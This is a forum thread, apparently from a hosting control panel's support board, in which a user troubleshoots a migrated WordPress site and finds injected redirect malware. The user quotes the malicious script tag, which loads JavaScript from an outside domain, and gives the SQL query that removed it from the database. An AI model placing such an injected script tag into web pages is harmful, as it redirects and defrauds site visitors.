Hello all,
I have today setup a hestiacp on my cloud server with ubuntu 20.4. I fallowed a video on tube.
After installation complete, I migrate my wordpress website. First i created a db importing a old one, after that i transfer all the file to public_html folder.
When i try to enter in the website, i have a Internal Server Error - Error Code: 500. I search online on forum did various try but no way. Can someone help me al let me learn, thanks in advance.
Basicly, check your weblog in /home/user/web/domain.tld/log, without this information, its impossible to say anything.
are your database credentials copied into wp-config.php?
Thanks to all, I think I found the problem. Now the login in working, and also the website partially. But it’s affected by the f*****g redirect malware. And I’am not able to find where is the malware. I disabled all plugin changed the theme but nothing, from the home page I’am always redirected to stupid page…
redirect malware? I’d love to try and help you with this. Can you give more information?
I got a site compromised 4/15, It’s been advertising fraud shit, I just got an email from VPS providser about a week ago. I guess that Netcraft was complaining about my URL and IP Address. I got it shut down, but I want to find out more
and I used to write antivirus at Microsoft, so I’d love to see what I could find
I would be very happy. What kind of information do you need? The site is mr-varga.com go and see what this sh*t do… If you want more info or FTP access i would be happy of your help. Now I put the website online, because now is suspended, and keep in mind all the traffic pass trought cloudflare so i think there is some caching.
I solved the problem! 
It was a script inject in app posts dicectly in DB.
This was the malware script: <script src='https://print.legendarytable.com/stable.js?v=9.4.9' type='text/javascript'></script>
and I solved with this SQL query:
UPDATE wordpress_posts SET post_content = REPLACE (post_content, "<script src='https://print.legendarytable.com/stable.js?v=9.4.9' type='text/javascript'></script>", "")
This topic was automatically closed 30 days after the last reply. New replies are no longer allowed.